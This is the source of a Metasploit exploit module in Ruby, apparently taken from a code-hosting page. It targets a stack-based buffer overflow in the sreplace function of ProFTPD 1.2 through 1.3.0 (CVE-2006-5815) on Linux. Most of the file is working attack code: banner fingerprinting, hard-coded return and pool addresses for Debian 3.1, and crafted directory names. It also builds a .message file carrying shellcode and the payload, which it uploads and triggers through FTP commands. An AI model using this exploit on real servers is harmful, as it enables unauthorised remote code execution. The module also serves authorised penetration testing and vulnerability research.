236 lines
6.7 KiB
Ruby
236 lines
6.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in versions 1.2 through
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1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function
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within the "src/support.c" file.
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The off-by-one heap overflow bug in the ProFTPD sreplace function has been
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discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit
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this off-by-one bug via MKD command, but failed. We did not work on this bug
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since then.
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Actually, there are exists at least two bugs in sreplace function, one is the
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mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow
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via 'sstrncpy(dst,src,negative argument)'.
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We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable
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version, but the version 1.3.0rc3 introduced some interesting changes, among them:
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1. another (integer) overflow in sreplace!
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2. now it is possible to reach sreplace stack-based buffer overflow bug via
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the "pr_display_file" function!
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3. stupid '.message' file display bug
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So we decided to choose ProFTPD 1.3.0 as a target for our exploit.
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To reach the bug, you need to upload a specially created .message file to a
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writeable directory, then do "CWD <writeable directory>" to trigger the invocation
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of sreplace function.
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Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'
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file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.
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The exploit is a part of VulnDisco Pack since Dec 2005.
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},
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'Author' =>
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[
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'Evgeny Legerov <admin[at]gleg.net>', # original .pm version (VulnDisco)
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'jduck' # Metasploit 3.x port
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],
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'References' =>
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[
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[ 'CVE', '2006-5815' ],
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[ 'OSVDB', '68985' ],
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[ 'BID', '20992' ],
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[ 'URL', 'http://seclists.org/bugtraq/2006/Nov/94' ],
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[ 'URL', 'http://seclists.org/bugtraq/2006/Nov/538' ],
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[ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=2858' ],
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[ 'URL', 'http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'PrependChrootBreak' => true
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 900,
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'BadChars' => "\x00\x0a\x0d\x25",
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'DisableNops' => 'True',
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},
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'Platform' => [ 'linux' ],
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'Targets' =>
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[
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#
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# Automatic targeting via fingerprinting
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#
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[ 'Automatic Targeting', { 'auto' => true } ],
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#
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# This special one comes first since we dont want its index changing.
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#
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[ 'Debug',
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{
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'Ret' => 0x41414242,
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'PoolAddr' => 0x43434545
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}
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],
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#
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# specific targets
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#
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[ "ProFTPD 1.3.0 (source install) / Debian 3.1",
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{
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# objdump -D proftpd|grep call|grep edx
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'Ret' => 0x804afc8, # call edx
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# nm proftpd|grep permanent_pool
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'PoolAddr' => 0x80b59f8
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 26 2006'))
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register_options(
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[
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OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ])
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], self.class )
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end
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def check
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# NOTE: We don't care if the login failed here...
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ret = connect
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# We just want the banner to check against our targets..
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vprint_status("FTP Banner: #{banner.strip}")
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status = CheckCode::Safe
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if banner =~ /ProFTPD (1\.[23]\.[^ ])/i
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ver = $1
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maj,min,rel = ver.split('.')
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relv = rel.slice!(0,1)
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case relv
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when '2'
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status = CheckCode::Appears
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when '3'
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# 1.3.x before 1.3.1 is vulnerable
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status = CheckCode::Appears
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if rel.length > 0
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if rel.to_i > 0
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status = CheckCode::Safe
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else
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status = CheckCode::Appears
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end
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end
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end
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end
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disconnect
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return status
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end
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def exploit
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connect_login
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# Use a copy of the target
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mytarget = target
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if (target['auto'])
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mytarget = nil
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print_status("Automatically detecting the target...")
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if (banner and (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i))) then
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print_status("FTP Banner: #{banner.strip}")
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version = m[1]
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else
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fail_with(Failure::NoTarget, "No matching target")
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end
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regexp = Regexp.escape(version)
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self.targets.each do |t|
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if (t.name =~ /#{regexp}/) then
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mytarget = t
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break
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end
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end
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if (not mytarget)
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fail_with(Failure::NoTarget, "No matching target")
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end
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print_status("Selected Target: #{mytarget.name}")
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else
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print_status("Trying target #{mytarget.name}...")
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if banner
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print_status("FTP Banner: #{banner.strip}")
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end
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end
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#puts "attach and press any key"; bleh = $stdin.gets
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res = send_cmd(['CWD', datastore['WRITABLE']])
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pwd = send_cmd(['PWD'])
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if pwd !~ /257\s\"(.+)\"/
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fail_with(Failure::Unknown, "Unable to get current working directory")
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end
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pwd = $1
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pwd << "/" if pwd[-1,1] != "/"
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dir1 = "A" * (251 - pwd.length)
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res = send_cmd(['MKD', dir1])
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res = send_cmd(['CWD', dir1])
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res = send_cmd(['PWD'])
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dir2 = "B" * 64
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dir2 << [mytarget.ret].pack('V')
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dir2 << [mytarget['PoolAddr'] - 4].pack('V')
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dir2 << "\xcc" * 28
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res = send_cmd(['DELE', "#{dir2}/.message"])
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res = send_cmd(['DELE', "250"])
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res = send_cmd(['RMD', dir2])
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filedata = ''
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filedata << 'A'
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filedata << "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret
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filedata << "\x25C" * 11
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filedata << 'A'
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filedata << payload.encoded
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filedata << rand_text_alphanumeric(900 - payload.encoded.length)
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filedata << "\x25\x43\x41" * 10
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res = send_cmd(['MKD', dir2])
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res = send_cmd_data(['PUT', "#{dir2}/.message"], filedata, 'I')
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# Trigger sreplace overflow
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res = send_cmd(['CWD', dir2])
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handler
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disconnect
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end
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end
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